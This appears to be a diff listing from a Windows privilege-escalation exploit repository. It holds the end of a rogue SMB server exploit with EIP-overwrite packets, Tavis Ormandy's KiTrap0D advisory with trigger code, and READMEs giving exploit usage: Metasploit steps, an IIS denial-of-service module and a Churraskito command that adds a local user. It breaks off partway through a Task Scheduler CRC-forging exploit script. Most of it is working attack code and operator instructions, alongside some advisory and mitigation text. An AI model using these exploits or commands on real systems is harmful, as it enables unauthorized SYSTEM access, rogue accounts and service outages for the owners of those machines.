# Full advisory: http://seclists.org/fulldisclosure/2010/Apr/201
# More information: http://g-laurent.blogspot.com/2010/04/ms10-020.html
#
# Note from Exploit-DB: It has been reported to us that CVE-2010-0020 also applies
#
EBP = "\x42\x42\x42\x42"
EIP = "\x41\x41\x41\x41"
packetnego = (
"\x00\x00\x00\x55"
"\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00"
"\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01"
"\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b"
"\xcf\xb0\x8c\x8d\xaf"
)
packetsession = (
"\x00\x00\x01\x3d"
"\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00"
"\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53"
"\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15"
"\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00"
"\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00"
"\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02"
"\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01"
"\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04"
"\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e"
"\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63"
"\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b"
"\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e"
"\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01"
"\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00"
"\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
"\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00"
"\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00"
"\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00"
)
packetsession2 = (
"\x00\x00\x00\x75"
"\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00"
"\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
"\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
"\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
"\x65\x00\x72\x00\x00"
)
packetree = (
"\x00\x00\x00\x38"
"\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00"
"\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07"
"\x00\x49\x50\x43\x00\x00\x00\x00"
)
packetntcreate = (
"\x00\x00\x00\x87"
"\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00"
"\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00"
"\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12"
"\x00\x9b\x01\x12\x00\x00\x00"
)
packetrans = (
"\x00\x00\x00\x5a"
"\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00"
"\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff"
"\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56"
"\x02\x61"+EBP+EIP
)
class SMB1(SocketServer.BaseRequestHandler):
def server_bind(self):
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
self.socket.bind(self.server_address)
def handle(self):
try:
while True:
print "From:", self.client_address
data = self.request.recv(1024)
##Negotiate Protocol Response
if data[8] == "\x72":
self.request.send(packetnego)
print "Negotiate Response sent\n"
##Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
if data[8] == "\x73":
self.request.send(packetsession)
print "Session Response sent\n"
#Session Setup AndX Response
data = self.request.recv(1024)
if data[8] == "\x73":
self.request.send(packetsession2)
print "Session 2 Response sent\n"
##Tree Connect AndX Response
if data[8] == "\x75":
self.request.send(packetree)
print "TREE Response sent\n"
##NT Create AndX Response, FID: 0x4000
if data[8] == "\xa2":
self.request.send(packetntcreate)
print "NT create Response sent\n"
####Trans2 Response, QUERY_FS_INFO
if data[8] == "\x32":
self.request.send(packetrans)
print "Trans2 Response sent box pwned\n"
except Exception:
print "oups"
self.request.close()
print "Disconnected from", self.client_address
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),SMB1)
launch.serve_forever()
97-Windows提权/MS10-012/README.md
+15
View File
@@ -0,0 +1,15 @@
# MS10-012
```
This security update resolves one publicly disclosed and several privately reported vulnerabilities in Microsoft Windows.
The vulnerabilities could allow remote code execution if an attacker sent a specially crafted SMB response to a client-initiated SMB request.
To exploit these vulnerabilities, an attacker must convince the user to initiate an SMB connection to a specially crafted SMB server.
```
Vulnerability reference:
* [MS10-012](https://technet.microsoft.com/library/security/ms10-012)
* [exp-db](https://www.exploit-db.com/exploits/12273/)
* [SMB 路径名溢出漏洞 - CVE-2010-0020](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0020)
* [SMB 内存损坏漏洞 - CVE-2010-0021](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0021)
* [SMB 空指针漏洞 - CVE-2010-0022](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0022)
* [SMB NTLM 身份验证缺少平均信息量漏洞 - CVE-2010-0231](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0231)
97-Windows提权/MS10-015/CVE-2010-0232.txt
+282
View File
@@ -0,0 +1,282 @@
Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/11199.zip (KiTrap0D.zip)
EDB Note: Make sure to run "vdmallowed.exe" (pre-compiled) inside the subfolder.
Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack
-------------------------------------------------------------------------
CVE-2010-0232
In order to support BIOS service routines in legacy 16bit applications, the
Windows NT Kernel supports the concept of BIOS calls in the Virtual-8086 mode
monitor code. These are implemented in two stages, the kernel transitions to
the second stage when the #GP trap handler (nt!KiTrap0D) detects that the
faulting cs:eip matches specific magic values.
Transitioning to the second stage involves restoring execution context and
call stack (which had been previously saved) from the faulting trap frame once
authenticity has been verified.
This verification relies on the following incorrect assumptions:
- Setting up a VDM context requires SeTcbPrivilege.
- ring3 code cannot install arbitrary code segment selectors.
- ring3 code cannot forge a trap frame.
This is believed to affect every release of the Windows NT kernel, from
Windows NT 3.1 (1993) up to and including Windows 7 (2009).
Working out the details of the attack is left as an exercise for the reader.
Just kidding, that was an homage to Derek Soeder :-)
- Assumption 0: Setting up a VDM context requires SeTcbPrivilege.
Creating a VDM context requires EPROCESS->Flags.VdmAllowed to be set in order
to access the authenticated system service, NtVdmControl(). VdmAllowed can
only be set using NtSetInformationProcess(), which verifies the caller has
SeTcbPrivilege. If this is true, the caller is very privileged and can
certainly be trusted.
This restriction can be subverted by requesting the NTVDM subsystem, and then
using CreateRemoteThread() to execute in the context of the subsystem process,
which will already have this flag set.
- Assumption 1: ring3 code cannot install arbitrary code segment selectors.
Cpl is usually equal to the two least significant bits of cs and ss, and is
a simple way to calculate the privilege of a task. However, there is an
exception, Virtual-8086 mode.
Real mode uses a segmented addressing scheme in order to allow 16-bit
addresses to access the 20-bit address space. This is achieved by forming
physical addresses from a calculation like (cs << 4) + (eip & 0xffff). The
same calculation is used to map the segmented real address space onto the
protected linear address space in Virtual-8086 mode. Therefore, I must be
permitted to set cs to any value, and checks for disallowed or privileged
selectors can be bypassed (PsSetLdtEnties will reject any selector where any
of the three lower bits are unset, as is the case with the required cs pair).
- Assumption 2: ring3 code cannot forge a trap frame.
Returning to usermode with iret is a complicated operation, the pseudocode for
the iret instruction alone spans several pages of Intel's Software Developers
Manual. The operation occurs in two stages, a pre-commit stage and a
post-commit stage. Using the VdmContext installed using NtVdmControl(), an
invalid context can be created that causes iret to fail pre-commit, thus
forging a trap frame.
The final requirement involves predicting the address of the second-stage BIOS
call handler. The address is static in Windows 2003, XP and earlier operating
systems, however, Microsoft introduced kernel base randomisation in Windows
Vista. Unfortunately, this potentially useful exploit mitigation is trivial
to defeat locally as unprivileged users can simply query the loaded module list
via NtQuerySystemInformation().
--------------------
Affected Software
------------------------
All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed to
be affected, including but not limited to the following actively supported
versions:
- Windows 2000
- Windows XP
- Windows Server 2003
- Windows Vista
- Windows Server 2008
- Windows 7
--------------------
Consequences
-----------------------
Upon successful exploitation, the kernel stack is switched to an attacker
specified address.
An attacker would trigger the vulnerability by setting up a specially
formed VDM_TIB in their TEB, using a code sequence like this:
/* ... */
// Magic CS required for exploitation
Tib.VdmContext.SegCs = 0x0B;
// Pointer to fake kernel stack
Tib.VdmContext.Esi = &KernelStack;
// Magic IP required for exploitation
Tib.VdmContext.Eip = Ki386BiosCallReturnAddress;
NtCurrentTeb()->Reserved4[0] = &Tib;
/* ... */
Followed by
/* ... */
NtVdmControl(VdmStartExecution, NULL);
/* ... */
Which will reach the following code sequence via the #GP trap handler,
nt!KiTrap0D. Please note how the stack pointer is restored from the saved
(untrusted) trap frame at 43C3E6, undoubtedly resulting in the condition
described above.
/* ... */
.text:0043C3CE Ki386BiosCallReturnAddress proc near
.text:0043C3CE mov eax, large fs:KPCR.SelfPcr
.text:0043C3D4 mov edi, [ebp+KTRAP_FRAME.Esi]
.text:0043C3D7 mov edi, [edi]
.text:0043C3D9 mov esi, [eax+KPCR.NtTib.StackBase]
.text:0043C3DC mov ecx, 84h
.text:0043C3E1 mov [eax+KPCR.NtTib.StackBase], edi
.text:0043C3E4 rep movsd
.text:0043C3E6 mov esp, [ebp+KTRAP_FRAME.Esi]
.text:0043C3E9 add esp, 4
.text:0043C3EC mov ecx, [eax+KPCR.PrcbData.CurrentThread]
.text:0043C3F2 mov [ecx+KTHREAD.InitialStack], edi
.text:0043C3F5 mov eax, [eax+KPCR.TSS]
.text:0043C3F8 sub edi, 220h
.text:0043C3FE mov [eax+KTSS.Esp0], edi
.text:0043C401 pop edx
.text:0043C402 mov [ecx+KTHREAD.Teb], edx
.text:0043C405 pop edx
.text:0043C406 mov large fs:KPCR.NtTib.Self, edx
.text:0043C40D mov ebx, large fs:KPCR.GDT
.text:0043C414 mov [ebx+3Ah], dx
.text:0043C418 shr edx, 10h
.text:0043C41B mov byte ptr [ebx+3Ch], dl
.text:0043C41E mov [ebx+3Fh], dh
.text:0043C421 sti
.text:0043C422 pop edi
.text:0043C423 pop esi
.text:0043C424 pop ebx
.text:0043C425 pop ebp
.text:0043C426 retn 4
/* ... */
Possibly naive example code for triggering this condition is available from the
link below.
http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip
Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/11199.zip (KiTrap0D.zip)
The code has been tested on Windows XP, Windows Server 2003/2008, Windows Vista
and Windows 7. Support for other affected operating systems is left as an
exercise for the interested reader.
-------------------
Mitigation
-----------------------
If you believe you may be affected, you should consider applying the workaround
described below.
Temporarily disabling the MSDOS and WOWEXEC subsystems will prevent the attack
from functioning, as without a process with VdmAllowed, it is not possible to
access NtVdmControl() (without SeTcbPrivilege, of course).
The policy template "Windows Components\Application Compatibility\Prevent
access to 16-bit applications" may be used within the group policy editor to
prevent unprivileged users from executing 16-bit applications. I'm informed
this is an officially supported machine configuration.
Administrators unfamiliar with group policy may find the videos below
instructive. Further information is available from the Windows Server
Group Policy Home
http://technet.microsoft.com/en-us/windowsserver/grouppolicy/default.aspx.
To watch a demonstration of this policy being applied to a Windows Server 2003
domain controller, see the link below.
http://www.youtube.com/watch?v=XRVI4iQ2Nug
To watch a demonstration of this policy being applied to a Windows Server 2008
domain controller, see the link below.
http://www.youtube.com/watch?v=u8pfXW7crEQ
To watch a demonstration of this policy being applied to a shared but
unjoined Windows XP Professional machine, see the link below.
http://www.youtube.com/watch?v=u7Y6d-BVwxk
On Windows NT4, the following knowledgebase article explains how to disable the
NTVDM and WOWEXEC subsystems.
http://support.microsoft.com/kb/220159
Applying these configuration changes will temporarily prevent users from
accessing legacy 16-bit MS-DOS and Windows 3.1 applications, however, few users
require this functionality.
If you do not require this feature and depend on NT security, consider
permanently disabling it in order to reduce kernel attack surface.
-------------------
Solution
-----------------------
Microsoft was informed about this vulnerability on 12-Jun-2009, and they
confirmed receipt of my report on 22-Jun-2009.
Regrettably, no official patch is currently available. As an effective and easy
to deploy workaround is available, I have concluded that it is in the best
interest of users to go ahead with the publication of this document without an
official patch. It should be noted that very few users rely on NT security, the
primary audience of this advisory is expected to be domain administrators and
security professionals.
-------------------
Credit
-----------------------
This bug was discovered by Tavis Ormandy.
-------------------
Greetz
-----------------------
Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK,
ScaryBeasts, spender and all my other elite colleagues.
Check out some photography while at ring0 http://flickr.com/meder.
-------------------
References
-----------------------
Derek Soeder has previously reported some legendary NT bugs, including multiple
vdm bugs that, while unrelated to this issue, make fascinating reading.
- http://seclists.org/fulldisclosure/2004/Oct/404, Windows VDM #UD LocalPrivilege Escalation
- http://seclists.org/fulldisclosure/2004/Apr/477, Windows VDM TIB Local Privilege Escalation
- http://seclists.org/fulldisclosure/2007/Apr/357, Zero Page Race Condition Privilege Escalation
-------------------
Appendix
-----------------------
SHA-1 checksum of KiTrap0D.zip follows.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
99a047427e9085d52aaddfc9214fd1a621534072 KiTrap0D.zip
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
iQEVAwUBS1W6+RvyfE4zaHEXAQK//QgAvo/VhPdeASGe7SSfC3jLwNzsfVfM+FMo
x7JZMMfVUh6b/+FxvokIpsCUf7QQkv+YcyCiatutVjUok5aw5BirFtPLHORIIKPX
B5gN2a4G8RIXh5yKE6FffKGQsPJNW1Ua5Jss8rf59TEj3EDky1vco+WVmmz7TsHn
TQdUreVcL8wFmCAgq5X0AKrdepYDBmYLF0AUFOdG3mKJ43dnP59p9R7+ckv0pfLW
XtvOgzZDNMew4z2Z53YQpE7dO+Y3H3rnhLN7jF7i9We9iiG4ATDke8byFAIDZQZx
ucq5EOcRsfAAWW3O8EbzQa0NiHHScJrKDjvg0gX1Y69MBBwCLNP6yg==
=LHU0
-----END PGP SIGNATURE-----
--
-------------------------------------
tavisosdf.lonestar.org | finger me for my gpg key.
-------------------------------------------------------
97-Windows提权/MS10-015/MS10-015.zip
BIN
View File
Binary file not shown.
97-Windows提权/MS10-015/MS10-015KB977165-CVE-2010-0232-Ms-Viru.rar
BIN
View File
Binary file not shown.
97-Windows提权/MS10-015/README.md
+35
View File
@@ -0,0 +1,35 @@
# MS10-015
```
This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy.
If the session is use is already elevated then the exploit will not run.
The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
```
- The POC was from [@Offensive Security](https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/11199.zip)
Vulnerability reference:
* [MS10-015](https://technet.microsoft.com/en-us/library/security/ms10-015.aspx)
* [CVE-2010-0232](https://www.exploit-db.com/exploits/11199/)
## Usage
c:\\> vdmallowed.exe
![win2003](win2003.png)
## load the module within the Metasploit console
```
msf > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > show targets
...targets...
msf exploit(ms10_015_kitrap0d) > set TARGET <target-id>
msf exploit(ms10_015_kitrap0d) > show options
...show and set options...
msf exploit(ms10_015_kitrap0d) > exploit
```
# Reference
- [http://www.7kb.org/520.html](http://www.7kb.org/520.html)
97-Windows提权/MS10-015/screenshot.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 253 KiB

97-Windows提权/MS10-015/win2003.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 53 KiB

97-Windows提权/MS10-048/2003.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 28 KiB

97-Windows提权/MS10-048/README.md
+25
View File
@@ -0,0 +1,25 @@
# MS10-048
```
The Windows kernel-mode drivers in win32k.sys in Microsoft Windows XP SP2 and SP3,
Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 do not properly validate an unspecified system-call argument,
which allows local users to cause a denial of service (system hang) via a crafted application,
aka "Win32k Bounds Checking Vulnerability."
```
Vulnerability reference:
* [MS10-048](https://technet.microsoft.com/library/security/ms10-048)
* [CVE-2010-1887](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1887)
## Usage
```
c:\> x86.exe
```
![2003](2003.png)
## References
* [Windows x64下提权Exploit](https://www.secpulse.com/archives/1597.html)
97-Windows提权/MS10-048/ms10048/ms10048.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS10-048/ms10048/ms10048X64.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS10-059/Churraskito_exe.zip
BIN
View File
Binary file not shown.
97-Windows提权/MS10-059/MS10-059.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS10-059/README.md
+18
View File
@@ -0,0 +1,18 @@
# MS10-059
```
一些Windows应用中使用了 Tracing 功能记录调试信息。使用了这个 Tracing 功能的 Windows 进程会持续监控相关子键的变化，一旦注册表值发生了变化就会立即读取该值。
其中的一个注册表值为 FileDirectory，包含有 Windows目录名。在Local System 账号运行的服务连接到管道时拥有扮演权限的本地用户可以通过扮演为 Local System 账号（或Administrator等特权账号）提升权限。
注册表项对 Users 组开放了 Set Value 权限，因此任何通过认证的用户都可以设置任意值。
```
Vulnerability reference:
* [MS10-059](https://technet.microsoft.com/library/security/ms10-059)
* [CVE-2010-2554](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2554)
## Usage
```
c:\> Churraskito.exe "C:\windows\system32\cmd.exe" "net user 123 123 /add"
```
## References
[Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
97-Windows提权/MS10-065/MS10-065-KB2124261-KB2271195-CVE-2010-1899-IIS7.zip
BIN
View File
Binary file not shown.
97-Windows提权/MS10-065/README.md
+25
View File
@@ -0,0 +1,25 @@
# MS10-065
```
Stack consumption vulnerability in the ASP implementation in Microsoft Internet Information Services
(IIS) 5.1, 6.0, 7.0, and 7.5 allows remote attackers to cause a denial of service (daemon outage) via a crafted request,
related to asp.dll, aka "IIS Repeated Parameter Request Denial of Service Vulnerability."
```
Vulnerability reference:
* [MS10-065](https://technet.microsoft.com/library/security/ms10-065)
* [CVE-2010-1899](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-1899)
* [exp-db](https://www.exploit-db.com/exploits/15167/)
## load the module within the Metasploit
[msf](https://www.rapid7.com/db/modules/AUXILIARY/DOS/WINDOWS/HTTP/MS10_065_II6_ASP_DOS)
```
msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
msf auxiliary(ms10_065_ii6_asp_dos) > show actions
...actions...
msf auxiliary(ms10_065_ii6_asp_dos) > set ACTION <action-name>
msf auxiliary(ms10_065_ii6_asp_dos) > show options
...show and set options...
msf auxiliary(ms10_065_ii6_asp_dos) > run
```
97-Windows提权/MS10-092/CVE-2010-3338.wsf
+297
View File
@@ -0,0 +1,297 @@
# Exploit Title: Windows Task Scheduler Privilege Escalation 0day
# Date: 20-11-2010
# Author: webDEViL
# Tested on: Windows 7/2008 x86/x64
<job id="tasksch-wD-0day">
<script language="Javascript">
crc_table = new Array(
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
0x2D02EF8D
);
var hD='0123456789ABCDEF';
function dec2hex(d) {
h='';
for (i=0;i<8;i++) {
h = hD.charAt(d&15)+h;
d >>>= 4;
}
return h;
}
function encodeToHex(str){
var r="";
var e=str.length;
var c=0;
var h;
while(c<e){
h=str.charCodeAt(c++).toString(16);
while(h.length<3) h="0"+h;
r+=h;
}
return r;
}
function decodeFromHex(str){
var r="";
var e=str.length;
var s=0;
while(e>1){
r=r+String.fromCharCode("0x"+str.substring(s,s+2));
s=s+2;
e=e-2;
}
return r;
}
function calc_crc(anyForm) {
anyTextString=decodeFromHex(anyForm);
Crc_value = 0xFFFFFFFF;
StringLength=anyTextString.length;
for (i=0; i<StringLength; i++) {
tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
Table_value = crc_table[tableIndex];
Crc_value >>>= 8;
Crc_value ^= Table_value;
}
Crc_value ^= 0xFFFFFFFF;
return dec2hex(Crc_value);
}
function rev_crc(leadString,endString,crc32) {
//
// First, we calculate the CRC-32 for the initial string
//
anyTextString=decodeFromHex(leadString);
Crc_value = 0xFFFFFFFF;
StringLength=anyTextString.length;
//document.write(alert(StringLength));
for (var i=0; i<StringLength; i++) {
tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
Table_value = crc_table[tableIndex];
Crc_value >>>= 8;
Crc_value ^= Table_value;
}
//
// Second, we calculate the CRC-32 without the final string
//
crc=parseInt(crc32,16);
crc ^= 0xFFFFFFFF;
anyTextString=decodeFromHex(endString);
StringLength=anyTextString.length;
for (var i=0; i<StringLength; i++) {
tableIndex=0;
Table_value = crc_table[tableIndex];
while (((Table_value ^ crc) >>> 24) & 0xFF) {
tableIndex++;
Table_value = crc_table[tableIndex];
}
crc ^= Table_value;
crc <<= 8;
crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
}
//
// Now let's find the 4-byte string
//
for (var i=0; i<4; i++) {
tableIndex=0;
Table_value = crc_table[tableIndex];
while (((Table_value ^ crc) >>> 24) & 0xFF) {
tableIndex++;
Table_value = crc_table[tableIndex];
}
crc ^= Table_value;
crc <<= 8;
crc |= tableIndex;
}
crc ^= Crc_value;
//
// Finally, display the results
//
var TextString=dec2hex(crc);
var Teststring='';
Teststring=TextString.substring(6,8);
Teststring+=TextString.substring(4,6);
Teststring+=TextString.substring(2,4);
Teststring+=TextString.substring(0,2);
return Teststring
}
function decodeFromHex(str){
var r="";
var e=str.length;
var s=0;
while(e>1){
r=r+String.fromCharCode("0x"+str.substring(s,s+2));
